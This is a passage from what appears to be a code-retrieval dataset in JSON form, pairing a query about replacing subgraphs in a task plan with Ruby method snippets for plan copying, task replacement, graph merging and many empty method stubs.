"docid": "03067c9b18fea3e48d7c2c2d2c4e774a", "score": "0.5809654", "text": "def mm_underscore\n return self if self =~ /^[a-z_]+$/\n\n # handle fields that are IDs\n underscored = gsub(/IDs/, '_ids')\n\n # break on lower to upper transition\n underscored.gsub!(/([a-z])([A-Z]+)/) do\n \"#{Regexp.last_match(1)}_#{Regexp.last_match(2)}\"\n end\n\n # break on acronym to caps word transition\n underscored.gsub!(/([A-Z])([A-Z][a-z]+)/) do\n \"#{Regexp.last_match(1)}_#{Regexp.last_match(2)}\"\n end\n\n # special case separation\n underscored.gsub!(/DNSPTR/i, 'dns_ptr')\n underscored.gsub!(/VLANID/i, 'vlan_id')\n\n underscored.downcase\n end", "title": "" }, { "docid": "431dbfdbf579fcf05cd1ab47f901de9e", "score": "0.5805509", "text": "def real_name; end", "title": "" }, { "docid": "1fb8f3826df4fa635b892d42a83fc049", "score": "0.5802483", "text": "def underscorize\n commatize(\"_\")\n end", "title": "" }, { "docid": "1fb8f3826df4fa635b892d42a83fc049", "score": "0.5802483", "text": "def underscorize\n commatize(\"_\")\n end", "title": "" }, { "docid": "e2e389d45053a64c42e3dbdc16f8f37c", "score": "0.5791012", "text": "def x=(_); end", "title": "" }, { "docid": "e2e389d45053a64c42e3dbdc16f8f37c", "score": "0.5791012", "text": "def x=(_); end", "title": "" }, { "docid": "e2e389d45053a64c42e3dbdc16f8f37c", "score": "0.5791012", "text": "def x=(_); end", "title": "" }, { "docid": "1194b7abce3f20cf44ec735db13bde78", "score": "0.5770575", "text": "def used_yadis=(_arg0); end", "title": "" }, { "docid": "b6c761dcff30de9855f816893326b89c", "score": "0.57693166", "text": "def y=(_); end", "title": "" }, { "docid": "b6c761dcff30de9855f816893326b89c", "score": "0.57693166", "text": "def y=(_); end", "title": "" }, { "docid": "b6c761dcff30de9855f816893326b89c", "score": "0.57693166", "text": "def y=(_); end", "title": "" }, { "docid": "310e8f8dbc5aaa9179075e3dd745c0d3", "score": "0.5764113", "text": "def _data0; end", "title": "" }, { "docid": "f88e4d9a1802a3be1f34635c27df05e0", "score": "0.5755814", "text": "def word=(_); end", "title": "" }, { "docid": "8ff778e877f7bbfa6d1d2a3ef87795ba", "score": "0.5750939", "text": "def no_direct_assignment; end", "title": "" }, { "docid": "8ff778e877f7bbfa6d1d2a3ef87795ba", "score": "0.5750939", "text": "def no_direct_assignment; end", "title": "" }, { "docid": "d26d678ea0276ed1889547911686dc2e", "score": "0.5750626", "text": "def rubbishness(name); end", "title": "" }, { "docid": "d26d678ea0276ed1889547911686dc2e", "score": "0.5750626", "text": "def rubbishness(name); end", "title": "" }, { "docid": "bd3395959efdbf6a850bf5d83555106c", "score": "0.57444894", "text": "def raw=(_arg0); end", "title": "" }, { "docid": "327be2b0f67494e1cbd65a6bef9d6937", "score": "0.5733752", "text": "def non_bare_access_modifier?; end", "title": "" }, { "docid": "327be2b0f67494e1cbd65a6bef9d6937", "score": "0.5733752", "text": "def non_bare_access_modifier?; end", "title": "" }, { "docid": "4e8f3df9cb10adf7f5284fdaa6b0ca1d", "score": "0.57325566", "text": "def underscorify\n gsub(/\\s/, '_')\n end", "title": "" }, { "docid": "e57b9d64bc94eb848522cf77efa69cdb", "score": "0.57299906", "text": "def junk ; return @@junk ; end", "title": "" }, { "docid": "220bf9a2c5e7c5fd4e2a7b9528d1bfe7", "score": "0.5711136", "text": "def autofinish=(_arg0); end", "title": "" }, { "docid": "93c116146067f5a3d83ecf76082eaaef", "score": "0.5689334", "text": "def name=(_); end", "title": "" }, { "docid": "93c116146067f5a3d83ecf76082eaaef", "score": "0.5689334", "text": "def name=(_); end", "title": "" }, { "docid": "93c116146067f5a3d83ecf76082eaaef", "score": "0.5689334", "text": "def name=(_); end", "title": "" }, { "docid": "93c116146067f5a3d83ecf76082eaaef", "score": "0.5689334", "text": "def name=(_); end", "title": "" }, { "docid": "93c116146067f5a3d83ecf76082eaaef", "score": "0.5689334", "text": "def name=(_); end", "title": "" }, { "docid": "93c116146067f5a3d83ecf76082eaaef", "score": "0.5689334", "text": "def name=(_); end", "title": "" }, { "docid": "93c116146067f5a3d83ecf76082eaaef", "score": "0.5689334", "text": "def name=(_); end", "title": "" }, { "docid": "93c116146067f5a3d83ecf76082eaaef", "score": "0.5689334", "text": "def name=(_); end", "title": "" }, { "docid": "93c116146067f5a3d83ecf76082eaaef", "score": "0.5689334", "text": "def name=(_); end", "title": "" }, { "docid": "93c116146067f5a3d83ecf76082eaaef", "score": "0.5689334", "text": "def name=(_); end", "title": "" }, { "docid": "93c116146067f5a3d83ecf76082eaaef", "score": "0.5689334", "text": "def name=(_); end", "title": "" }, { "docid": "5d57d5ecdae8fd5db7b3f6beaadb1c28", "score": "0.5688246", "text": "def extra=(_arg0); end", "title": "" }, { "docid": "5d57d5ecdae8fd5db7b3f6beaadb1c28", "score": "0.5688246", "text": "def extra=(_arg0); end", "title": "" }, { "docid": "5d57d5ecdae8fd5db7b3f6beaadb1c28", "score": "0.5688246", "text": "def extra=(_arg0); end", "title": "" }, { "docid": "5d57d5ecdae8fd5db7b3f6beaadb1c28", "score": "0.5688246", "text": "def extra=(_arg0); end", "title": "" }, { "docid": "bdfd674280d1997c6f1cc0f49d86d595", "score": "0.56431085", "text": "def _data1; end", "title": "" }, { "docid": "05f30dbaa95cab56c89348edb221f3ed", "score": "0.5642913", "text": "def ext=(_arg0); end", "title": "" }, { "docid": "6784e250f1cdf564402556199dfb7cfc", "score": "0.56391895", "text": "def use_instead=(_arg0); end", "title": "" }, { "docid": "34b365e2927a0b4181dec5e8b1b142de", "score": "0.5627949", "text": "def unknown=(_arg0); end", "title": "" }, { "docid": "bdaf3c6bfe5d6571e06a7acf9d1deccf", "score": "0.5623407", "text": "def dangerous!; end", "title": "" }, { "docid": "d5ab0df385dac40ae6f4ad439186f064", "score": "0.56232876", "text": "def underscore\n self.class.to_s.downcase.gsub(\"::\",\"_\")\n end", "title": "" }, { "docid": "ae835b718242a27843cf0b0934dec1a4", "score": "0.56015754", "text": "def legacy_deprecations; end", "title": "" }, { "docid": "310d7ee9e089845d909f1688bad2d6c4", "score": "0.5590397", "text": "def hidden_apis=(_arg0); end", "title": "" }, { "docid": "24f9e19b9210aabc240330aa01e96588", "score": "0.558314", "text": "def nonmutating_string_method?; end", "title": "" }, { "docid": "24f9e19b9210aabc240330aa01e96588", "score": "0.558314", "text": "def nonmutating_string_method?; end", "title": "" }, { "docid": "336a415c0155530d9a3d911c7becaa26", "score": "0.5571393", "text": "def origin=(_); end", "title": "" }, { "docid": "448787f3429a743cc160f05768c31150", "score": "0.55506384", "text": "def in_plain=(_arg0); end", "title": "" }, { "docid": "bc668a6fac983622b444e226948be7fe", "score": "0.5548457", "text": "def special_modifier?; end", "title": "" }, { "docid": "bc668a6fac983622b444e226948be7fe", "score": "0.5548457", "text": "def special_modifier?; end", "title": "" }, { "docid": "4a3d5b763acfed68653d1013a38d02d2", "score": "0.5546674", "text": "def meta=(_arg0); end", "title": "" }, { "docid": "95dd6918498422b6f9110e01fea30af9", "score": "0.5543887", "text": "def reserved; end", "title": "" }, { "docid": "95dd6918498422b6f9110e01fea30af9", "score": "0.5543887", "text": "def reserved; end", "title": "" }, { "docid": "eec933297e4b05e76e6557b13b695b87", "score": "0.5543806", "text": "def internal_data #nodoc\n _data\n end", "title": "" }, { "docid": "464b4755a70c48ed92218344e0776406", "score": "0.5528345", "text": "def returned=(_); end", "title": "" }, { "docid": "464b4755a70c48ed92218344e0776406", "score": "0.5528345", "text": "def returned=(_); end", "title": "" }, { "docid": "91034cf35d2c447d6a7c78ba75c862f4", "score": "0.5527492", "text": "def code=(_); end", "title": "" }, { "docid": "91034cf35d2c447d6a7c78ba75c862f4", "score": "0.5527492", "text": "def code=(_); end", "title": "" }, { "docid": "10becba3364b881dd72b1f26c66b4cdc", "score": "0.55106205", "text": "def method_name=(_); end", "title": "" }, { "docid": "10becba3364b881dd72b1f26c66b4cdc", "score": "0.55106205", "text": "def method_name=(_); end", "title": "" }, { "docid": "10becba3364b881dd72b1f26c66b4cdc", "score": "0.55106205", "text": "def method_name=(_); end", "title": "" }, { "docid": "10becba3364b881dd72b1f26c66b4cdc", "score": "0.55106205", "text": "def method_name=(_); end", "title": "" }, { "docid": "514a1cb9a5d1623792e6dd02bcc164df", "score": "0.55035514", "text": "def attr_name=(_); end", "title": "" }, { "docid": "514a1cb9a5d1623792e6dd02bcc164df", "score": "0.55035514", "text": "def attr_name=(_); end", "title": "" }, { "docid": "ab0d76072cd45b5b1281e13819ef4b42", "score": "0.5496632", "text": "def N104=(arg)", "title": "" }, { "docid": "97e67c3f6fbb85552a707f2662d1903d", "score": "0.54933953", "text": "def camelizations=(_arg0); end", "title": "" }, { "docid": "dbde88f51a7940d79154abd18d962d4e", "score": "0.5487764", "text": "def _data0=(_arg0); end", "title": "" }, { "docid": "14f5b097cb934cef51e0b9c29168565c", "score": "0.54847926", "text": "def bare_access_modifier?; end", "title": "" }, { "docid": "14f5b097cb934cef51e0b9c29168565c", "score": "0.54847926", "text": "def bare_access_modifier?; end", "title": "" }, { "docid": "14ed96d9fa52fd96c38aad87b6d492d6", "score": "0.5472239", "text": "def leading=(_); end", "title": "" }, { "docid": "14ed96d9fa52fd96c38aad87b6d492d6", "score": "0.5472239", "text": "def leading=(_); end", "title": "" }, { "docid": "b79fa0f67f358a0f3614cd104e4333d4", "score": "0.5459156", "text": "def public_access_level=(_arg0); end", "title": "" }, { "docid": "d3b5b26672b34a5121cafa54b974e996", "score": "0.54451853", "text": "def string=(_arg0); end", "title": "" }, { "docid": "2ae4e7359954ed8f53e1596a1500644f", "score": "0.54421526", "text": "def ppuy=(_arg0); end", "title": "" }, { "docid": "36849ac7534e154530f649f16dc82fe8", "score": "0.5436184", "text": "def original_name()\n #This is a stub, used for indexing\n end", "title": "" } ]
5ffe0e935130fa75d1e7742ead23a608
Replace subgraphs by another in the plan It copies relations that are not within the keys in task_mappings and event_mappings to the corresponding task/events. The targets might be nil, in which case the relations involving the source will be simply ignored. If needed, instead of providing an object as target, one can provide a resolver object which will be called with call and the source, The resolver should be given as a second element of a pair, e.g. source => [nil, call]
[ { "docid": "fb7b2c8545d6047e20da971023283346", "score": "0.65718764", "text": "def replace_subplan(\n task_mappings, event_mappings, task_children: true, event_children: true\n )\n new_relations, removed_relations =\n compute_subplan_replacement(task_mappings, each_task_relation_graph,\n child_objects: task_children)\n apply_replacement_operations(new_relations, removed_relations)\n\n new_relations, removed_relations =\n compute_subplan_replacement(event_mappings, each_event_relation_graph,\n child_objects: event_children)\n apply_replacement_operations(new_relations, removed_relations)\n end", "title": "" } ]
[ { "docid": "e1ac7ad81e9c2b0f5600861bba2dc92b", "score": "0.6114129", "text": "def replace_subplan_by(object)\n\t super\n\n\t # Compute the set of tasks that are in our subtree and not in\n\t # object's *after* the replacement\n\t tree = ValueSet.new\n\t TaskStructure.each_root_relation do |rel|\n\t\ttree.merge generated_subgraph(rel)\n tree.merge object.generated_subgraph(rel)\n\t end\n tree << self << object\n\n\t changes = []\n\t each_event do |event|\n\t\tnext unless object.has_event?(event.symbol)\n\t\tchanges.clear\n\n\t\tevent.each_relation do |rel|\n\t\t parents = []\n\t\t event.each_parent_object(rel) do |parent|\n\t\t\tif !parent.respond_to?(:task) || !tree.include?(parent.task)\n\t\t\t parents << parent << parent[event, rel]\n\t\t\tend\n\t\t end\n\t\t children = []\n\t\t event.each_child_object(rel) do |child|\n\t\t\tif !child.respond_to?(:task) || !tree.include?(child.task)\n\t\t\t children << child << event[child, rel]\n\t\t\tend\n\t\t end\n\t\t changes << rel << parents << children\n\t\tend\n\n target_event = object.event(event.symbol)\n event.initialize_replacement(target_event)\n\t\tevent.apply_relation_changes(target_event, changes)\n\t end\n\tend", "title": "" }, { "docid": "a3a4b555480f5d1afa3382d5f74a4b26", "score": "0.6081879", "text": "def deep_copy_to(copy)\n mappings = Hash.new do |h, k|\n if !self.include?(k)\n raise InternalError, \"#{k} is listed in a relation, but is not included in the corresponding plan #{self}\"\n else\n raise InternalError, \"#{k} is an object in #{self} for which no mapping has been created in #{copy}\"\n end\n end\n\n # First create a copy of all the tasks\n known_tasks.each do |t|\n new_t = t.dup\n mappings[t] = new_t\n\n t.each_event do |ev|\n mappings[ev] = new_t.event(ev.symbol)\n end\n copy.add(new_t)\n end\n free_events.each do |e|\n new_e = e.dup\n mappings[e] = new_e\n copy.add(new_e)\n end\n\n missions.each { |t| copy.add_mission(mappings[t]) }\n permanent_tasks.each { |t| copy.add_permanent(mappings[t]) }\n permanent_events.each { |e| copy.add_permanent(mappings[e]) }\n\n # We now have to copy the relations\n known_tasks.each do |parent|\n parent.each_relation do |rel|\n m_parent = mappings[parent]\n parent.each_child_object(rel) do |child|\n info = parent[child, rel]\n rel.add_relation(m_parent, mappings[child], info)\n end\n end\n\n parent.each_event do |parent_ev|\n m_parent_ev = mappings[parent_ev]\n parent_ev.each_relation do |rel|\n parent_ev.each_child_object(rel) do |child_ev, info|\n m_child_ev = mappings[child_ev]\n if !rel.linked?(m_parent_ev, m_child_ev)\n rel.add_relation(m_parent_ev, m_child_ev, info)\n end\n end\n end\n end\n end\n\n free_events.each do |parent_ev|\n m_parent_ev = mappings[parent_ev]\n parent_ev.each_relation do |rel|\n parent_ev.each_child_object(rel) do |child_ev, info|\n m_child_ev = mappings[child_ev]\n rel.add_relation(m_parent_ev, m_child_ev, info)\n end\n end\n end\n\n mappings\n end", "title": "" }, { "docid": "8fed4edc3f147f36895dc2d2b91fe3eb", "score": "0.5831041", "text": "def deep_copy_to(copy)\n mappings = Hash.new do |_, k|\n if !include?(k)\n raise InternalError,\n \"#{k} is listed in a relation, but is not included \"\\\n \"in the corresponding plan #{self}\"\n else\n raise InternalError,\n \"#{k} is an object in #{self} for which no mapping \"\\\n \"has been created in #{copy}\"\n end\n end\n\n # First create a copy of all the tasks\n tasks.each do |t|\n new_t = t.dup\n mappings[t] = new_t\n\n t.each_event do |ev|\n new_ev = ev.dup\n new_ev.instance_variable_set :@task, new_t\n new_t.bound_events[ev.symbol] = new_ev\n mappings[ev] = new_ev\n end\n\n copy.register_task(new_t)\n new_t.each_event do |ev|\n copy.register_event(ev)\n end\n end\n free_events.each do |e|\n new_e = e.dup\n mappings[e] = new_e\n copy.register_event(new_e)\n end\n\n mission_tasks.each { |t| copy.add_mission_task(mappings[t]) }\n permanent_tasks.each { |t| copy.add_permanent_task(mappings[t]) }\n permanent_events.each { |e| copy.add_permanent_event(mappings[e]) }\n\n copy_relation_graphs_to(copy, mappings)\n mappings\n end", "title": "" }, { "docid": "889c0d61efcae6e15dc54b047accb80c", "score": "0.5716578", "text": "def replace(from, to)\n\t handle_replace(from, to) do\n\t\tfrom.replace_subplan_by(to)\n\t end\n\tend", "title": "" }, { "docid": "f2ae21bbd88c7b3da938d083a599feea", "score": "0.5710465", "text": "def replace(from, to, filter: ReplacementFilter::Null.new)\n handle_replace(from, to) do\n from.replace_subplan_by(to, filter: filter)\n end\n end", "title": "" }, { "docid": "a66558358147ef02598d6eb48505fabc", "score": "0.55475485", "text": "def apply_modifications_to_plan\n new_mission_tasks = Set.new\n new_permanent_tasks = Set.new\n new_permanent_events = Set.new\n\n added_relations = []\n removed_relations = []\n updated_relations = []\n\n # We're doing a lot of modifications of this plan .. store some of\n # the sets we need for later, one part to keep them unchanged, one\n # part to make sure we don't do modify-while-iterate\n proxy_tasks = self.proxy_tasks.dup\n proxy_events = self.proxy_events.dup\n plan_services = self.plan_services.dup\n unmarked_mission_tasks = self.unmarked_mission_tasks.dup\n unmarked_permanent_tasks = self.unmarked_permanent_tasks.dup\n unmarked_permanent_events = self.unmarked_permanent_events.dup\n # We're taking care of the proxies first, so that we can merge the\n # transaction using Plan#merge!. However, this means that\n # #may_unwrap does not work after the first few steps. We therefore\n # have to store the object-to-proxy mapping\n real_objects = {}\n\n # We make a copy of all relation graphs, and update them with the\n # transaction data. The underlying plan graphs are not modified\n #\n # We do not #dup them because we don't want to dup the edge info.\n # Instead, we instanciate anew and merge. The add_vertex calls are\n # needed to make sure that the graph dups the in/out sets instead\n # of just copying them\n task_work_graphs, event_work_graphs =\n plan.class.instanciate_relation_graphs\n work_graphs = {}\n transaction_graphs = {}\n plan.each_task_relation_graph do |g|\n work_g = work_graphs[g] = task_work_graphs[g.class]\n g.each_vertex { |v| work_g.add_vertex(v) }\n work_g.merge(g)\n transaction_graphs[g] = task_relation_graph_for(g.class)\n end\n plan.each_event_relation_graph do |g|\n work_g = work_graphs[g] = event_work_graphs[g.class]\n g.each_vertex { |v| work_g.add_vertex(v) }\n work_g.merge(g)\n transaction_graphs[g] = event_relation_graph_for(g.class)\n end\n\n # First apply all changes related to the proxies to the underlying\n # plan. This adds some new tasks to the plan graph, but does not add\n # them to the plan itself\n #\n # Note that we need to do that in two passes. The first one keeps\n # the transaction unchanged, the second one removes the proxies from\n # the transaction. This is needed so that #commit_transaction sees\n # the graph unchanged\n proxy_objects = proxy_tasks.merge(proxy_events)\n\n proxy_objects.each do |object, proxy|\n real_objects[proxy] = object\n compute_graph_modifications_for(\n proxy, added_relations, removed_relations, updated_relations\n )\n proxy.commit_transaction\n end\n proxy_tasks.dup.each do |object, proxy|\n if proxy.self_owned?\n if mission_task?(proxy)\n new_mission_tasks << object\n elsif permanent_task?(proxy)\n new_permanent_tasks << object\n end\n end\n remove_task(proxy)\n end\n proxy_events.dup.each do |object, proxy|\n if proxy.root_object?\n new_permanent_events << object if permanent_event?(proxy)\n remove_free_event(proxy)\n end\n end\n\n work_graphs.each do |plan_g, work_g|\n work_g.merge(transaction_graphs[plan_g])\n end\n apply_graph_modifications(\n work_graphs, added_relations, removed_relations, updated_relations\n )\n\n begin\n validate_graphs(work_graphs.values)\n rescue StandardError => e\n raise e, \"cannot apply #{self}: #{e.message}\", e.backtrace\n end\n\n #### UNTIL THIS POINT we have not modified the underlying plan AT ALL\n # We DID update the transaction, though\n\n # Apply #commit_transaction on the remaining tasks\n tasks.each(&:commit_transaction)\n free_events.each(&:commit_transaction)\n\n # What is left in the transaction is the network of new tasks. Just\n # merge it\n plan.merge_transaction!(\n self, work_graphs,\n added_relations, removed_relations, updated_relations\n )\n\n # Update the plan services on the underlying plan. The only\n # thing we need to take care of is replacements and new\n # services. Other modifications will be applied automatically\n plan_services.each do |task, services|\n services.each do |srv|\n if srv.transaction_proxy?\n # Modified service. Might be moved to a new task\n original = srv.__getobj__\n # Do NOT use may_unwrap here ... See comments at the top\n # of the method\n task = real_objects[task] || task\n srv.commit_transaction\n plan.move_plan_service(original, task) if original.task != task\n elsif task.transaction_proxy?\n # New service on an already existing task\n srv.task = task.__getobj__\n plan.add_plan_service(srv)\n else\n # New service on a new task\n plan.add_plan_service(srv)\n end\n end\n end\n\n new_mission_tasks.each { |t| plan.add_mission_task(t) }\n new_permanent_tasks.each { |t| plan.add_permanent_task(t) }\n new_permanent_events.each { |ev| plan.add_permanent_event(ev) }\n\n active_fault_response_tables.each do |tbl|\n plan.use_fault_response_table tbl.model, tbl.arguments\n end\n\n unmarked_permanent_events.each { |t| plan.unmark_permanent_event(t) }\n unmarked_permanent_tasks.each { |t| plan.unmark_permanent_task(t) }\n unmarked_mission_tasks.each { |t| plan.unmark_mission_task(t) }\n\n proxy_objects.each do |object, proxy|\n forwarder_module =\n Transaction::Proxying.forwarder_module_for(object.model)\n proxy.extend forwarder_module\n proxy.__getobj__ = object\n proxy.__freeze__\n end\n end", "title": "" }, { "docid": "25cf3f359c973be59b77fbf8921fd49d", "score": "0.55165726", "text": "def replace_task(from, to, filter: ReplacementFilter::Null.new)\n handle_replace(from, to) do\n from.replace_by(to, filter: filter)\n end\n end", "title": "" }, { "docid": "5a57c095cf2f63c8d07db1389d98b79b", "score": "0.5430763", "text": "def replace_edge(src, label, dest, graph)\n raise \"can't inject a graph that had no accept states\" if graph.accept_states.nil? || graph.accept_states.empty?\n if @graph_hash[src][label].class == Fixnum\n @graph_hash[src][label] = [@graph_hash[src][label]]\n end\n\n offset = get_node_count-1\n imp_attach_graph(src, graph)\n\n #draw_graph('intermediate-self')\n #graph.draw_graph('intermediate-graft')\n\n # for each of the edges pointing at the accept state of the graph\n # redirect them to point at dest\n #draw_graph('retarget-pre')\n graph.accept_states.keys.each do |acc|\n retarget_edges(acc+offset,dest)\n accept_states.delete(acc+offset)\n end\n delete_edge(src,label,dest)\n\n renumber!\n #draw_graph('retarget-post')\n\n self\n end", "title": "" }, { "docid": "e5ebc493a75d2d8315c909416cd631ae", "score": "0.5403117", "text": "def replace_task(from, to)\n\t handle_replace(from, to) do\n\t\tfrom.replace_by(to)\n\t end\n\tend", "title": "" }, { "docid": "d3d71ff6100f42c99f254c49b05a5d52", "score": "0.5380261", "text": "def apply_modifications_to_plan\n discover_tasks = ValueSet.new\n discover_events = ValueSet.new\n new_missions = ValueSet.new\n new_permanent_tasks = ValueSet.new\n new_permanent_events = ValueSet.new\n known_tasks.dup.each do |t|\n unwrapped = if t.transaction_proxy?\n finalized_task(t)\n t.__getobj__\n else\n known_tasks.delete(t)\n t\n end\n\n if missions.include?(t) && t.self_owned?\n missions.delete(t)\n new_missions << unwrapped\n elsif permanent_tasks.include?(t) && t.self_owned?\n permanent_tasks.delete(t)\n new_permanent_tasks << unwrapped\n end\n\n discover_tasks << unwrapped\n end\n\n free_events.dup.each do |ev|\n unwrapped = if ev.kind_of?(Transaction::Proxying)\n finalized_event(ev)\n ev.__getobj__\n else\n free_events.delete(ev)\n ev\n end\n\n if permanent_events.include?(ev) && ev.self_owned?\n permanent_events.delete(ev)\n new_permanent_events << unwrapped\n end\n\n discover_events << unwrapped\n end\n\n new_tasks = discover_tasks - plan.known_tasks\n new_tasks.each do |t|\n t.commit_transaction\n end\n plan.add_task_set(new_tasks)\n new_events = discover_events - plan.free_events\n new_events.each do |e|\n e.commit_transaction\n end\n plan.add_event_set(new_events)\n\n # Set the plan to nil in known tasks to avoid having the checks on\n # #plan to raise an exception\n proxy_objects.each_value { |proxy| proxy.commit_transaction }\n proxy_objects.each_value { |proxy| proxy.clear_relations }\n\n # Update the plan services on the underlying plan. The only\n # thing we need to take care of is replacements and new\n # services. Other modifications will be applied automatically\n plan_services.each do |task, services|\n services.each do |srv|\n if srv.transaction_proxy?\n # Modified service. Might be moved to a new task\n original = srv.__getobj__\n task = may_unwrap(task)\n srv.commit_transaction\n if original.task != task\n plan.move_plan_service(original, task)\n end\n elsif task.transaction_proxy?\n # New service on an already existing task\n srv.task = task.__getobj__\n plan.add_plan_service(srv)\n else\n # New service on a new task\n plan.add_plan_service(srv)\n end\n end\n end\n\n new_missions.each { |t| plan.add_mission_task(t) }\n new_permanent_tasks.each { |t| plan.add_permanent_task(t) }\n new_permanent_events.each { |e| plan.add_permanent_event(e) }\n\n active_fault_response_tables.each do |tbl|\n plan.use_fault_response_table tbl.model, tbl.arguments\n end\n\n auto_tasks.each { |t| plan.unmark_permanent(t) }\n discarded_tasks.each { |t| plan.unmark_mission(t) }\n\n super if defined? super\n end", "title": "" }, { "docid": "9d31c617e0edcede3b6b337e6adc784f", "score": "0.5333443", "text": "def copy_subgraph_to(graph, mappings)\n mappings.each do |v, mapped_v|\n each_out_neighbour(v) do |child|\n if mapped_child = mappings[child]\n graph.add_edge(mapped_v, mapped_child,\n edge_info(v, child))\n end\n end\n end\n end", "title": "" }, { "docid": "87c6783d90ab0870d06571cbf70687f3", "score": "0.5290259", "text": "def plan_replace(plan, m_from, m_to)\n Distributed.update(plan = peer.local_object(plan)) do\n from, to = peer.local_object(m_from), peer.local_object(m_to)\n\n Distributed.update_all([from, to]) { plan.replace(from, to) }\n\n # Subscribe to the new task if the old task was subscribed\n # +from+ will be unsubscribed when it is finalized\n if peer.subscribed?(from) && !peer.subscribed?(to)\n peer.subscribe(to)\n nil\n end\n end\n nil\n end", "title": "" }, { "docid": "7e679919cf9578d504a8a5f59d3b2939", "score": "0.5255681", "text": "def merge(v1, v2, mapping, refineRel)\n modRel = refineRel[:Module]\n exportsRel = refineRel[:Exports]\n invokesRel = refineRel[:Invokes]\n modules = []\n ctx = {}\n opRel = {}\n\n (v1.modules + v2.modules).each do |m| \n if not ctx.has_key? m.name then ctx[m.name] = Set.new([]) end\n\n if mapping.has_key? m \n modules << mapping[m]\n ctx[m.name].add(mapping[m].name)\n else\n modules << m.deepclone\n ctx[m.name].add(m.name)\n end\n end\n modules = myuniq(modules)\n\n exportsRel.each do |from, to|\n if from == to \n o = from\n else \n o = mkMixedName(from, to)\n end\n if ctx[from].nil? then ctx[from] = Set.new() end\n if ctx[to].nil? then ctx[to] = Set.new() end \n ctx[from].add(o)\n ctx[to].add(o)\n end \n\n invokesRel.each do |from, to|\n if from == to then next end\n o = mkMixedName(from, to)\n if modules.any? { |m| m.findExport(o) } then next end\n\n o1 = v1.findModsWithExport(from)[0].findExport(from) \n\n modules.each do |m| \n if m.findExport o or not (m.findExport to) then next end\n o2 = m.findExport to \n m.exports << Op.new(mkMixedName(from, to),\n {:when => (o2.constraints[:when]),\n :args => (o1.constraints[:args] + \n o2.constraints[:args])}, o1, o2)\n # simplification\n # if m1.invokes op1, op2 in m2 and op1 is a specialization of op2, \n # then remove op2 from m1.invokes\n modules.select { |m2| m2.findInvoke o and m2.findInvoke to}.each do |m2|\n m2.invokes.delete(m2.findInvoke to)\n end \n end\n end\n\n # trusted modules\n trusted = (v1.trusted + v2.trusted).map{ |m| if mapping.has_key? m then \n mapping[m] \n else \n m end}\n # data\n data = (v1.data + v2.data).map { |d| if mapping.has_key? d.name then \n mapping[d.name]\n else \n d\n end}\n otherData = []\n data.each do |d|\n dn = d.name\n i = data.find_index { |d2| d2.extends == dn }\n if i then\n otherData << Datatype.new((\"Other#{dn}\").to_sym, [], dn, false) \n end\n end\n data += otherData\n data = myuniq(data)\n\n # all exported operations\n allExports = modules.inject([]) {|r, m| r + m.exports}\n \n modules.each do |m|\n\n newInvokes = []\n\n m.invokes.each do |i| \n n = i.name\n c = i.constraints\n relevantExports =\n allExports.select {|e| (n == e.name or\n ((not e.parent.nil?) and \n n == e.parent.name) or\n ((not e.child.nil?) and \n n == e.child.name))}\n\n relevantExports.each do |e|\n newInvokes << Op.new(e.name, c)\n end\n \n # update the context\n if not ctx.has_key? n then ctx[n] = Set.new([]) end\n ctx[n].merge(relevantExports.map {|e| e.name}) \n end\n\n m.invokes = myuniq(newInvokes)\n end\n\n # rewrite all of the constraints with the context info\n modules.each do |m|\n m.exports = \n m.exports.map { |e| Op.new(e.name, \n :args => e.constraints[:args].clone,\n :when => \n e.constraints[:when].map{ |c| c.rewrite(ctx) })} \n m.invokes = \n m.invokes.map { |i| Op.new(i.name, \n :when =>\n i.constraints[:when].map{ |c| c.rewrite(ctx) })}\n m.assumptions = m.assumptions.map { |a| a.rewrite(ctx) }\n end\n\n assumptions = (v1.assumptions + v2.assumptions).map { |a| a.rewrite(ctx) }\n \n View.new(:MergedView, modules, trusted, data, v1.critical, \n assumptions, v1.protected, ctx)\nend", "title": "" }, { "docid": "1afd06bb6ba23185a34eee7cc691e8a4", "score": "0.51816803", "text": "def merge_project_tree(source_values, target_values)\n source_values.each do |value|\n if value.is_a?(Hash)\n # Examples:\n #\n # { 'project_tree' => [{ 'labels' => [...] }] }\n # { 'notes' => [:author, { 'events' => [:push_event_payload] }] }\n value.each do |key, val|\n target = target_values\n .find { |h| h.is_a?(Hash) && h[key] }\n\n if target\n merge_project_tree(val, target[key])\n else\n target_values << { key => val.dup }\n end\n end\n else\n # Example: :priorities, :author, etc\n target_values << value\n end\n end\n end", "title": "" }, { "docid": "110b95e24eb1a9553140bcc40aa6779e", "score": "0.51521564", "text": "def substitute(new_target, options = {})\n tap do |relation|\n if new_target\n binding.unbind(options)\n relation.target = new_target.to_a\n base.send(metadata.foreign_key_setter, new_target.map(&:id))\n bind(options)\n else\n relation.target = unbind(options)\n end\n end\n end", "title": "" }, { "docid": "fedfe7fba04769e8a68f40c34f821fab", "score": "0.5092595", "text": "def replace_vertex(from, to)\n\t from.each_parent_vertex(self) do |parent|\n if parent != to && !linked?(parent, to)\n link(parent, to, parent[from, self])\n end\n\t end\n\t from.each_child_vertex(self) do |child|\n if to != child && !linked?(to, child)\n link(to, child, from[child, self])\n end\n\t end\n\t remove(from)\n\tend", "title": "" }, { "docid": "e4e75d0f2cfd2e56c52496cd26523da3", "score": "0.5090658", "text": "def substitute(replacement)\n tap do |proxy|\n if replacement\n new_docs, docs = replacement.compact.uniq, []\n new_ids = new_docs.map { |doc| doc.id }\n remove_not_in(new_ids)\n new_docs.each do |doc|\n docs.push(doc) if doc.send(metadata.foreign_key) != base.id\n end\n proxy.concat(docs)\n else\n proxy.purge\n end\n end\n end", "title": "" }, { "docid": "d9cd0d683692d602dfc0e27acc1ccb97", "score": "0.5081304", "text": "def set(source, target)\n assert_kind_of 'source', source, source_model\n assert_kind_of 'target', target, target_model, NilClass\n\n source_key.set(source, target.nil? ? [] : target_key.get(target))\n set!(source, target)\n end", "title": "" }, { "docid": "028a2536172f8bcba5dc364ce4de0320", "score": "0.5065057", "text": "def resolve(**args)\n task = Task.find(args[:id])\n task.title = args[:title] unless args[:title].nil?\n task.labels = Label.find(args[:labelIds]) unless args[:labelIds].nil?\n task.save\n { task: task }\n end", "title": "" }, { "docid": "ddbd796090a4af93a1b44fced7645b2d", "score": "0.5053745", "text": "def replace_with(node_or_nodes)\n node_hash = idify_hash(node_or_nodes)\n original_ids = self.pluck(:id)\n new_nodes = add_rels(node_hash, original_ids)\n delete_rels_for_nodes(original_ids - node_hash.keys)\n new_nodes | node_hash.values\n end", "title": "" }, { "docid": "85553bfd7a3cf3778d106c80338e24d4", "score": "0.5032354", "text": "def transform(from: nil, to: nil)\n 